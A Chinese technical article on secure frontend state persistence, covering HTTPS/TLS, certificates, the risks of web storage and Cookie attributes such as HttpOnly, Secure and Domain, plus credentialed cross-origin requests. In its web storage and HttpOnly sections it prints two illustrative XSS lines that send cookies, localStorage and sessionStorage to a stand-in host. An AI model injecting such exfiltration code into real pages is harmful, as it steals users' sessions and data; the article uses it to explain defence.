前端持久化状态管理
场景
本文主要以 传输链路安全
,浏览器客户端信息安全
的路径来阐述一种前端持久化状态管理解决方案。旨在说明一种安全的且包含存储生命周期的本地持久化状态管理机制,在这种机制下,安全防泄漏,持久化,生命周期是关注的重点。
const frontendSolution = transmissionSecurity + clientSecurity
传输链路安全
众所周知,现阶段广泛使用的安全的信息传输链路最佳实践是基于 TLS 的加密传输文本协议 —— HTTPS。它通过非对称加密算法实现端点认证,通过对称加密算法实现加密消息,实现安全保密的双向通信。
HTTPS
的设计动机在于在客户端和服务端进行双向数据传输时,保证数据的 完整性 和 私密性。它主要用于对抗 中间人攻击,防止双向通信中的数据窃听和篡改,即它是保护的 传输链路 安全,而非保证双端的安全。HTTPS
本身 并不是 区别于 HTTP
协议的新协议,它只是原有 HTTP
传输协议的 拓展。HTTP
是明文传输的传输协议,而 HTTPS 是在原有的 HTTP
协议之上再 “套” 上了一层 TLS 来传输数据,而 TLS 本质是传输安全协议,那么 “套上” 了 TLS 的 HTTP 不再通过明文传输信息,最终使得 HTTP
具有加密传输的能力。故本质上 HTTPS 是一种 安全 的 HTTP
传输协议,又称 TLS 或 SSL
(TLS 的前身) 之上的 HTTP
。
const https = http + tls
如前文所述,HTTPS
通过 TLS
层解决了 HTTP
的加密问题。那么 TLS
又是如何保障信息的安全的呢?
基于现行 TLS v1.3 标准文档,TLS
层用于在通信双方建立一个安全的通信通道,它底层传输必须依赖于一个有序的数据流。具体来说,该安全通道具有以下 特性:
-
认证
一般在实践中经常使用的是 服务端认证,而 客户端认证 是可选的,且在实践中并不常见,即
HTTPS
在 TLS 标准中是提供了 双向认证 的能力的。通道端点(endpoint
)两侧的认证都是基于 非对称加密(如RSA
等算法)。 -
保密
在建立通道后传输的数据始终 仅对通道的端点可见,另外
TLS
本身默认不会隐藏传输的数据的长度。如有必要可在端点实现模糊数据长度。 -
完整
在建立通道后传输的数据在未经检测的情况下无法被攻击者修改。
// typescript data structure
interface tls {
authentication: unknown
confidentiality: unknown
integrity: unknown
}
TLS
协议本身可被抽象化为两个基本组成部分:
-
handshake
协议,主要用于认证通信双方,协商加密套件和加密参数,并建立共享密钥。handshake
协议设计目的在于防止信息篡改。本质上来说,最终在
HTTPS
通信中所有业务层信息交换都是基于此处的共享密钥
。这种通过共享密钥的通信方式又被称为 对称加密通信(注意与前文表述握手阶段双端使用非对称加密通信来实现端点认证的方式区分开)。 -
record
协议,主要使用参数在通过handshake
协议建立通信后保护通信。record
协议本身将所有通信原始信息分离为一系列的records
。每一个records
都被traffic key
独立地保护。TLS
协议本身与应用层协议独立开来,所以在TLS
协议中并不限制如何实现TLS
握手,解析交换的身份验证证书的方式完全取决于在TLS
之上的应用层协议的处理。
const tls = tlsHandshake + tlsRecord
通过以上对 TLS
组成部分的抽象和设计目的的分析,TLS
给予了 HTTPS
协议 防篡改
,防数据劫持
的能力。
const httpWithEncryption = http + encryptionFromTls
为什么要使用公钥证书
如前文所述,TLS
并不限制加密通道端点身份认证的实现方式,但基于公钥证书的认证方式是符合 TLS
中对通信通道的 非对称加密 证书认证的具体实现。
那么一切关于通信通道端点身份认证的关键在于一个由第三方受信任的证书机构所签发的 digital certificates 数字公钥证书。 数字证书本质上是上文提到的 TLS
基本组成部分 handshake
协议中生成 共享密钥
前提条件。而 共享密钥
即是加密通信中对称加密的信息的密钥关键所在。
共享密钥在
HTTPS
协议中又被称为master key
主密钥。
即要实现密文传输,就要实现 共享密钥
生成,要实现 共享密钥
生成就必须要实现基于身份认证证书的认证流程。基于公钥证书,客户端和服务端经历一系列的密钥生成最终得到加解密所需要的密钥 master key
。这些步骤大致可抽象为两部分:
-
pre-master key
预主密钥生成预主密钥的产生是一个完整的 非对称加解密 的典型流程。客户端通过服务端提供的公钥证书中的公钥生成
pre-master key
预主密钥,在通过公钥加密传输生成的pre-master key
至服务端,此时服务端在拿到客户端加密后的pre-master key
后通过公钥证书的私钥解密还原得到客户端的原pre-master key
预主密钥。 -
master key
主密钥生成客户端与服务端在经历上一步各自通过得到的
pre-master key
即可生成HTTPS
会话通信加解密密文所需要的master key
主密钥,该主密钥是在TLS
层中扮演的即是TLS handshake
协议中的共享密钥,为TLS record
协议保障安全传输。
如何保证公钥证书私密性
数字公钥证书本质上表示一个 公钥(即 public key
)的所有权的电子凭证。它由一个 第三方受信任的组织 签发,并且为证书持有人提供鉴定。一个受信任的签发公钥数字证书的机构又被称为 数字证书认证机构(certificate authority
,即 CA
)。任何要从 CA
获取证书的实体都必须提供身份证明,如域名验证。当 CA
确认了身份证明后,就会签发特定用于当前身份的数字签名证书,并确保其证书下的信息有效性。
-
签发者(
Issuer
),指签发当前数字公钥证书的CA
机构。如果一个用户信任一个CA
机构,并且证书是有效的,那么用户就可以信任由该CA
签发的数字公钥证书。 -
有效期,在有效期内证书是有效的。
-
证书所有者(
Subject
),其包含了当前数字公钥证书的所有者实体。它用于确定当前的public key
没有被盗用,避免出现虚假客户端盗用证书冒充合法的证书拥有者实体套取用户信息。 -
public key
信息,即常说的 公钥。它用于在双端实现基于非对称加密的端点认证。 -
数字签名,该签名由
CA
使用CA
提供的 私钥 生成。它用于确保证书有效性。
const certificateCore = issuer + subject + publicKey + uniqueSignature + ...
那么为什么要实现由第三方受信任机构来签发数字公钥证书?为什么不直接使用通过 RSA
等非对称加密实现自签证书?主要原因是让一个 受信任第三方 机构来为 TLS
整个加密通信过程中的密钥生成做 背书。让第三方来担保整个加密通信不会出现信息篡改,劫持。
最重要的一点 是受信任的第三方证书签发机构 担保 加密通信的对方是合法的目标服务器,而不是其他中间人,以用于防止未经授权的虚假数字公钥证书。如黑客无法通过第三方证书签发机构来签发银行域名下的数字公钥证书来冒充银行。
现如今,现代浏览器和一些现代操作系统首先会在其应用内部预设一些受信任的第三方证书。在客户端进行 TLS/SSL
服务端证书验证时,将通过证书路径验证算法验证服务端提供的证书签名,该签名是来自于签发者的服务端证书,而在通过签发者的服务端验证证书又可验证其父级签发者,最终找到 根签发者。一些合法的根级签发者即是被预置于系统或浏览器中的受信任的合法签发者。
当用户使用自签证书时,是无法在 证书路径
中找到合法签发者的签名。故无法通过客户端的服务端证书验证流程。当服务端无法提供合法的服务端证书时,此时浏览器客户端将发出警告——非法的服务端证书。
敏感信息加密
在有了 HTTPS
保障信息传输链路的安全之后,那么客户端的敏感信息还有没有必要进行加密?如是否应该通过密文的形式传输用户密码?为什么要在客户端进行敏感信息加密?
简短来说,笔者认为是有必要的。为什么?
-
HTTPS
不能保证客户端来源的安全性,即不能证明“你是你”。HTTPS
从设计目的上来说 仅仅 是为了保证目标的唯一性和传输过程中的安全性,而不能确保发送客户端的安全性,以及从客户端发送的请求是否是来自于用户交互。即HTTPS
不能解决服务端判断 你是你 的问题,而仅仅只能保证请求目的地是合法的真实的目的地,在传输过程中不存在窃听和篡改。 -
证明当下的当下的“你是你”
客户端的敏感信息加密是作为客户端敏感信息安全的一道屏障存在。在客户端将敏感信息加盐加密后,服务端在接收到密文后解密可用于确保该请求是否真实来自于用户交互还是 CSRF。客户端加盐加密并结合当前时间可确保当前请求一定是当前时间点通过用户交互来提交的请求,而不是其他在客户端的非法伪造请求,如克隆一个
X
时间之前的用户真实请求。进而杜绝了客户端通过 重放请求 非法窃取用户信息。
以上即是客户端加密敏感信息再传输至服务端的意义所在。适用的场景如用户注册,用户登录等。
在实践中,如用户注册时通过加盐加密密码实现传输密码的场景,该密文的一种可能的结构是:
// 由以下三个核心部分组成
const encryptedMessages = password + nonce + timestamp
-
nonce 签名应该是始终唯一的。
nonce
本质上是通过某个认证协议算法签发得到的一个随机数或伪随机数,且只能使用一次。在整个加密传输中,nonce
扮演 salt 的角色用于保证在时间维度上签名合法性。 -
timestamp
是用来保证当前签名在时间维度上的唯一性。
至此,敏感信息加密适用场景是在浏览器客户端向服务端发送机密的敏感数据场景。
会话存储
在有了传输链路安全性的实践,客户端信息自身安全性实践外,那么我们又应该如何实现客户端持久化 存储 敏感信息呢?
先说结论,首先不推荐在 web storage 中存储用户的认真令牌以及其他任何用户的敏感信息。为什么?
web storage 风险
众所周知 web storage
遵从 同源策略,且在同源限制下,任意跨域访问其他源的 web storage
的行为都是无效的。但是这样是否是意味着 web storage
天然的就是适合存储包含敏感信息的任意用户信息呢?答案是否定的,web storage
设计目的不在于此。尽管 web storage
严格遵循 同源策略,但存储在 web storage
中的信息是有泄露风险的。
为什么?
-
常见的一种泄露方式就是通过
XSS
来实现同源web storage
中的敏感信息窃取。 -
重要且易被忽视 的一种泄露方式即是不安全的
npm package
。当一个 网站
siteA
引用了一个不安全的packageB
后,在打包发布siteA
后,packageB
因为是和siteA
是同源的。那么packageB
理论上是可以访问任意siteA
下的信息,这其中也包括 所有siteA
的敏感信息,这是因为所有的web storage
都是遵循 同源策略。所以 不推荐 在web storage
中存储任何敏感信息,任何第三方在通过某种途径(如上文的XSS
或第三方npm package
)突破同源限制时,该第三方将毫无阻拦地访问任意信息。另外,本身web storage
设计之初就不是让开发人员在web storage
中存储敏感信息的,它没有任何阻止JS
访问的强制机制。只要通过某些手段获得同源条件下的代码执行能力,那么所有web storage
中的数据都将被毫无保留地泄露。
// 通过 XSS 攻击,插入以下脚本后,第三方在同源条件下发起非法请求
new Image().src = `https://xss.com?cookies=${
window.document.cookies
}&local=${JSON.stringify(localStorage)}&session=${JSON.stringify(
sessionStorage
)}`
HTTP 的状态管理
那么是不是在前端就没办法左到安全且有效的敏感信息存储呢?当然有,通过 Cookie
来实现。接下来的问题就变成开发人员应该如何通过 Cookie
来安全地且有效存储一些必要的敏感信息?
这里先说提一下 web
开发人员经常接触的 HTTP
协议。众所周知,HTTP
本身是 无状态通信协议,所有的 HTTP
要有状态都是通过现行的一个 HTTP 状态管理机制
的规范 RFC 6265 来实现。
那么在 RFC 6265 中规定了怎样的 HTTP
状态管理实现机制?这里开始引入我们的主角—— Cookie
。任意服务端可通过一个 Set-Cookie 响应头来传输一个或多个与 元数据 相关的 name/value
键值对给一个客户端。在客户端随后的请求中,客户端将使用元数据和其他数据来决定在 Cookie 请求头中返回之前服务端通过 Set-Cookie
传输的 name/value
键值对。这就是 RFC 6265 HTTP
状态管理机制的 核心。就是这么简单暴力。通过一来一回的键值对传输赋予了 HTTP
的状态管理能力。
const oneCookie = nameAndValue + metadata
+------------+ +------------+
| | Set-Cookie | |
| +--------------------------------> |
| server | | client |
| <--------------------------------+ |
| | Cookie | |
+------------+ +------------+
说了这么多,Cookie
到底和客户端的安全存储有什么关系?关键在于前文描述的通过 Set-Cookie
来实现向客户端传输与 元数据 相关的 name/value
键值对。什么是元数据?
元数据功能
元数据在 Wiki 中被表述为 data about data
,即 描述数据的数据。结合前文对于 Cookie
的表述。这里与 Cookie
相关的元数据可被表述为任意描述定义 Cookie
键值的其他类型数据。这种数据不应是与业务相关的数据类型,而应仅仅用于表述当前 Cookie
键值的 性质。在 RFC 6265 的 Set-Cookie
章节中定义了这些些用于描述 Cookie
的元数据,这些元数据正是保证前端临时存储信息的屏障。
限制 JS 访问
在 RFC 6265
中定义了一个 HttpOnly 属性,该类型出现在 Set-Cookie
响应头中时,将定义该请求头中的 name/value
键值对 仅 能在 HTTP
请求中被传输和访问,而不能通过任意的 JS
脚本来访问,即使时同源内的 JS
脚本语句也不行。
常见地,Web
开发人员可通过 document.cookie 这样的 DOM API
来访问当前源内的所有 Cookie
值,但是这些值是 不会包含 任意被设定了 HttpOnly
的 Cookie
值的。
// 即使前端被 XSS 攻破,通过以下类似语句是无法获取到有 HttpOnly 加持的 Cookie 值
new Image().src = 'https://xss.com?cookies=' + document.cookie
这种 Cookie
的元数据类型赋予了服务端数据在前端的不可访问性(对任意前端脚本来说),但可在前端被存储。这样服务端可通过 HttpOnly 属性来向客户端传输用户的敏感信息(如持久化访问令牌),而无需担心敏感信息因 JS
的访问而造成的泄露。
这里读者可能注意到这种不可访问性所带来的局限性。任意设置了 HttpOnly
的 Cookie
将不能被 JS
访问,那么其中是 不适合放置任何前端需要访问的数据的。而在本文所讨论的安全的前端持久化状态管理机制中,前端 JS
是没有必要来访问服务端所提供的 持久化令牌
。
为什么?笔者认为持久化令牌本身是作为一种合法有效的访问后台服务的凭证而存在,那么它不因被修改,且不应被随意查看,仅 有访问对应的服务的时候才是它真正的用武之地。那么基于持久化令牌的定位,它就不应该被前端通过 JS 访问,更不能通过 JS
来访问持久化令牌。它应该始终被服务端发送给唯一客户端,并经由客户端回传至服务端用于服务端的资源访问权限的鉴定,那么从设计的目的上来说,该持久化令牌是应该不被篡改,且保密的。
故正是这种对前端的限制访问的需求,催生了 HttpOnly
这种属性,这也是 HttpOnly
属性的价值所在——限制前端所有非法访问指定 Cookie
的能力。
防止中间人攻击
前文已经介绍了一个 HttpOnly
属性来限制前端的访问能力,那么 Cookie
又是如何防范中间人攻击呢?即使通过 HttpOnly
来限制前端的访问,若在传输过程中被任意中间人获取到我们的持久化令牌,那么前文的一切防范都将是徒劳。众所周知,HTTP
本身是不加密的明文的文本传输协议,在 HTTP
协议下传输任意 Cookie
,都有被中间泄露并篡改信息的风险。而 HTTPS
是 TLS 或 SSL
(TLS 的前身) 之上的 HTTP
协议。从传输协议的角度,当开发者完全杜绝使用 HTTP
传输关键性的敏感信息时,即可防范中间人攻击。
那么如何实现以上理论?通过 Cookie
中的 Secure 属性,该属性指定了其所属 Cookie
键值对 必须 是在 安全的 协议下传输,否则将不传输。RFC 6262 原文指出,当通过 Set-Cookie
存储 name/value
时,若存在 Secure
属性为真,那么仅在客户端使用 安全 的通信协议时才可能会发送该 Cookie
值至指定服务端。
什么是安全的通信协议?在
RFC 6265
中 显式地 说明了通信协议是否安全是由 客户端 定义。一般常见的浏览器都是将HTTPS
协议定义为安全的通信协议,而HTTP
是不安全的通信协议。
限制目的地
在现代浏览器中,Cookie
默认情况下 严格遵循同源策略,那么在同源请求中携带 Cookie
数据是没问题的,那么当我们需要在跨域请求中携带 Cookie
信息应该怎么办呢?不可能所有的跨域请求都可以携带 Cookie
,要不然原本的 Cookie
同源策略就形同虚设。
在 RFC 6265
中定义了一个 Domain 属性。该属性赋予了客户端对应 Cookie
值的限制传输性。什么是限制传输性?核心就是定义 Cookie
的作用域,使得 Cookie
只能在合法有效的作用域内使用。在此元数据的加持下,使得即使在跨域条件下,也仅有完成域名匹配的目的地才会发送当前源的指定 Cookie
值。
前文所述,Cookie
在被服务端传输到客户端存储后,客户端会在随后向服务端的请求中都会携带该 Cookie
值。在服务端通过 Set-Cookie
设置客户端的 Cookie
值时,存在 Domain=github.com
时,那么该 Cookie
值 仅仅 会在向 github.com
请求时才会发送该 Cookie
值。在 RFC 6265
中定义的客户端 Cookie
存储模型中,当没有设置 Domain
属性时,客户端将设置该属性为空字符串。但在浏览器中因为一些安全原因,当 Cookie
没有被设置 Domain
属性时,将默认设置该值为当前网页的宿主 host
域名,且 不包含 该域名的子域名。
另外,在 MDN 中同样实现了 RFC 6265
协议中对 域名匹配 的规则,当存在 Domain=github.com
时,那么当前 Cookie
将同样也会被发送至其 github.com
的子域名,如 hi.github.com
。
在 RFC 6265 中定义了 Cookie
机制应该如何匹配 domain
属性:
A string domain-matches a given domain string if at least one of the following
conditions hold:
o The domain string and the string are identical. (Note that both
the domain string and the string will have been canonicalized to
lower case at this point.)
o All of the following conditions hold:
* The domain string is a suffix of the string.
* The last character of the string that is not included in the
domain string is a %x2E (".") character.
* The string is a host name (i.e., not an IP address).
一个给定的 domain
字符串和一个字符串域名匹配在满足以下至少一条的情况下成立:
-
domain
字符串和给定字符串 全等(注意,domain
字符串和给定字符串会被标准化为全小写进行比较) -
满足以下所有条件:
-
domain
字符串是给定字符串的一个后缀。 -
domain
字符串的最后一个%2xE(“.”)
字符不包含在给定字符串的最后一个字符。 -
给定字符串是一个
host
名称,而不是一个IP
地址。
-
示例 如下:
domain attribute | github.com | a.github.com | foo.github.com | bar.a.github.com |
---|---|---|---|---|
github.com | ✓ | ✗ | ✗ | ✗ |
a.github.com | ✗ | ✓ | ✗ | ✗ |
.github.com | ✓ | ✓ | ✓ | ✓ |
.a.github.com | ✗ | ✓ | ✗ | ✓ |
结合本文所讨论的安全的前端认证方式中,Domain
属性使得存储在 Cookie
中的认证信息存在了一个有效 “作用域”,即 Cookie
中的认证信息结合 Cookie
的同源策略,那么它永远不会被传输到任何不合法域名所指向的服务器。
特别地,对于公共次级域名,形如 .com.cn
,RFC 6265 在 storage model
章节指出 user agent
应维护一个公共次级域名后缀列表,以用于防止错误的 cookie
发送。在 RFC 6265 4.1.2.3 中说明,为了安全,若 Cookie
的 domain
属性为公共次级域名,那么此时 Cookie
应该被忽略。
元数据应用
通过以上三个基本的 Cookie
属性,可以实现一个 最基础的持久化令牌的客户端存储模型。这个基础的存储模型从以下方面保证了前端信息的安全性和持久性:
-
从存储源头上,通过
HttpOnly
限制 谁能访问; -
从传输目标上,通过
Domain
保证,即使在跨域请求的条件下,传输的目的地 仍然是合法的; -
从传输路径上,通过
Secure
限制传输的通信协议必须是 安全的通信协议。
在 这里 读者可找到所有谷歌官方 Google.com
当前正在使用的所有 Cookie
类型,其中用于鉴权并保证表单提交的安全性的 Cookie
名为 __Secure-SSID
和 __Secure-HSID
。在实践中,通过查看 Cookie
设置,可见这两个值都拥有 HttpOnly
属性。其中 __Secure
前缀用于仅在 https
的条件下发送该 Cookie
#。
用途类别 | 示例 |
---|---|
... | ... |
安全 | 我们使用安全 Cookie 对用户进行身份验证,防止登录凭据遭到冒用并且防止未经授权的第三方使用用户数据。 例如,我们使用名为 “SID” 和 “HSID” 的 Cookie ,其中包含了关于用户 Google 帐户 ID 和最近登录时间的数字签名和加密记录。通过结合使用这两个 Cookie ,我们可以阻止多种类型的攻击,例如试图窃取您在网页上填写的表单内容的行为。 |
... | ... |
Cookie
的生命周期
在解决 Cookie
的安全性问题之后,又如何实现 Cookie
中凭证生命周期管理?
从 RFC 6265 标准中,提到存在 Max-Age 和 Expires 属性来描述一个 Cookie
键值对的生命周期。并且从 存储模型 中对生命周期的描述可见,Max-Age
具有最高优先级,其次是 Expires
属性,在 Cookie
键值对没有被二者修饰时,那么此时该键值对默认是 会话 Cookie,即在当前 web
会话结束时,将删除所有 会话 Cookie
键值对。
- 会话
Cookie
Set-Cookie: token=123
# 该 token 键值对将在当前会话结束时被删除
- 持久
Cookie
Set-Cookie: token=123; Wed, 1 Jan 2020 00:00:00 GMT
# 该 token 键值对将在 2020 年 1 月 1 日零时过期,届时将被 user agent 删除
另外根据 RFC 6265
中对 Cookie header 的表述,在所有客户端发送 Cookie store
中的 Cookie
键值对时,应始终只存在的 最多一个 Cookie
请求头。
第一三方 cookie
可通过
google chrome
的 “阻止第三方 cookie” 功能验证。
若一个 Cookie
的 domain
属性域当前页面的域名能够实现 RFC 6262 5.1.3 中规定的域名匹配,另结合本文对域名匹配的 解读,那么就说该 Cookie
是属于第一方 Cookie
,反之为第三方 Cookie
MDN RFC 6265。
值得注意的是第一三方 Cookie
的区分标准是以是否能够完成 domain
匹配来实现的,而不是是否是同源。第一方 Cookie
不一定同源,但第三方 Cookie
一定是不同源的。
第三方 cookie 限制
现代浏览器都提供了拒绝任何第三方 Cookie
的能力,当用户主动设置拒绝任何第三方 Cookie
设置时,任何第三方 Cookie
都将失效。
因 Cookie
严格遵循同源策略,那么本源仅仅能够访问到同源下的 Cookie
,而无法访问第三方 Cookie
。
跨域 Cookie
有读者可能注意到前文所阐述的前端持久化状态机制是基于 第一三方 Cookie
的维度,而 Cookie
和 web storage
一样是遵循 同源策略 的,那么我们应该如何处理不同源这个维度的 Cookie
。在一般业务落地时,会存在如微服务部署等一些策略导致 Cookie
提供方的部署地址与客户端的部署地址不一致的情况。那么存在跨域的情况下我们开发者又该如何实现安全的持久化 Cookie
存储?
首先回到一个最基本的问题——什么是同源 origin?在 web
内容中,所有 协议,域名,端口 一致的 URL
均属于同源。反之,存在至少一项差异时,就是 跨域。那么当客户端请求源与客户端本身请求源存在 协议 或 域名 或 端口 的差异时,会发生 跨域请求
。在发生 跨域请求
时,需要服务端提供 Access-control-allow-origin
来表明合法的跨域请求来源(实现跨域请求的方式之一)。当存在一个非法的跨域请求时,浏览器端 并不会 阻止 跨域请求
的发生,但浏览器会 阻止解析 任何非法跨域请求的响应。归根结底,同源策略是浏览器客户端的安全策略,而非服务端的安全策略。
如前文所述,Cookie
遵循 同源策略,那么在发起跨域请求时,在浏览器端 默认 是不会发送,并且也不会保存响应中包含的跨域 cookie
(如有)#。那么在遵循同源策略条件下:
-
如何存储并发送跨域
Cookie
? -
存储和发送跨域
Cookie
有哪些限制,对于本文的前端持久化状态管理方案有哪些影响?
存储和发送跨域 Cookie
浏览器客户端虽然在默认情况下不会接收和发送任何跨域 Cookie
键值对,然而浏览器暴露了保存和发送跨域 Cookie
值的能力——credentials request。开发者可通过 XMLHttpRequest.withCredentials 或 fetch.credentials 来实现浏览器客户端的 credentials request
认证请求。
根据 MDN
对 XMLHttpRequest.withCredentials 和 fetch.credentials 的定义,该值指定了对于任意的跨域请求,是否应该发送当前客户端的 认证信息,如 Cookie
,Authorization
请求头或 TLS
客户端证书。XMLHttpRequest.withCredentials
的默认值为 false
,而 fetch.credentials
默认值为 same-origin
。也就是在默认情况下,所有的前端 跨域 请求都不会存储和发送跨域 Cookie
至请求服务器。
XMLHttpRequest
function credentialsXHR(url: string, methods: 'GET' | 'POST' = 'GET') {
return new Promise(resolve => {
const xhr = new XMLHttpRequest()
xhr.open(methods, url, true)
xhr.withCredentials = true // 关键点,指定当前请求应该发送 credentials 信息
xhr.onreadystatechange = () => {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
resolve(xhr.response)
}
}
xhr.send()
})
}
fetch API
function credentialsFetch(url: string, method: 'GET' | 'POST' = 'GET') {
return fetch(url, {
method,
credentials: 'include' // 关键点,指定当前请求应该发送 credentials 信息
}).then(res => res.json())
}
另外,众所周知,在跨域请求中是存在 简单请求 和 预检请求 的,而它们二者对跨域 Cookie
又有什么影响呢?根据 MDN 的定义,所有 credentials request
均不受 简单请求
或 预检请求
的影响。
Credentialed Access Control Requests can be either Simple or Preflighted, depending on the request methods used.
但是根据 MDN 阐述,当发送 credentials request
时,服务端返回的 Access-Control-Allow-Origin
不能 为 *
通配符。并且服务端响应客户端的 credentials request
(不论是简单请求还是预检请求) 时,必须 响应 Access-Control-Allow-Credentials 为 true
,客户端才会正常保存 credentials request
的响应中的跨域 Cookie
值。
Access-Control-Allow-Credentials
响应头用于告知浏览器客户端是否应该向前端JS
暴露响应中的认证信息,即是否应该解析响应报文中的认证信息。
归根结底,浏览器客户端要实现接收和发送跨域 Cookie
值必须满足以下条件:
-
默认不会接收和发送跨域
Cookie
值,除非通过XMLHttpRequest
或fetch API
发送credentials request
。 -
当为简单请求的
credentials request
时,必须返回Access-Control-Allow-Credentials
为true
。 -
当为预检请求的
credentials request
时,在遵循上一条规则的情况下,还需要满足Access-Control-Allow-Origin
响应头不为*
通配符。
跨域 Cookie
的限制
上文阐述了实现跨域 Cookie
的存储与发送的基本原理。但跨域 Cookie
为了保证其信息安全性仍存在一些安全限制。
结合前文阐述的 Cookie
的 作用域 Domain
属性,当 Cookie
未指定该属性时,Cookie
的默认有效作用域是 当前文档域名且不包含子域名。而指定该属性时,Cookie
的有效作用域是指定的域名及其子域名。那么存在当当前文档域名与跨域 cookie
的 Domain
属性,二者既不是 父子 也不是 兄弟 关系的情况下,将不能在二者之间通过 跨域请求 来实现跨域 Cookie
的设置。
结论
笔者私以为前端持久化状态方案具有较强的业务耦合性,具体的方案根据实际情况的业务需求,在落地复杂度存在较大跨度,故本文并没有提供一个完整前端持久化状态管理方案,而是从另外一个角度来阐述所有前端持久化存储方案都绕不开的 基本知识点以及安全性底线。本文核心是在从客户端信息存储安全,传输链路安全方面来阐述了一种有效的基于 HTTPS
协议和包含元数据的 Cookie
的前端持久化状态管理 解决方案的核心思路。
通过 HTTPS
协议来保障传输链路安全,降低信息传输过程中被窃听,篡改的风险。通过 Cookie
的元数据类型来保障持久化状态管理信息在客户端的存储安全,譬如通过 HttpOnly
属性来隔绝敏感信息,通过 Secure
保证敏感信息仅能通过 HTTPS
协议传输。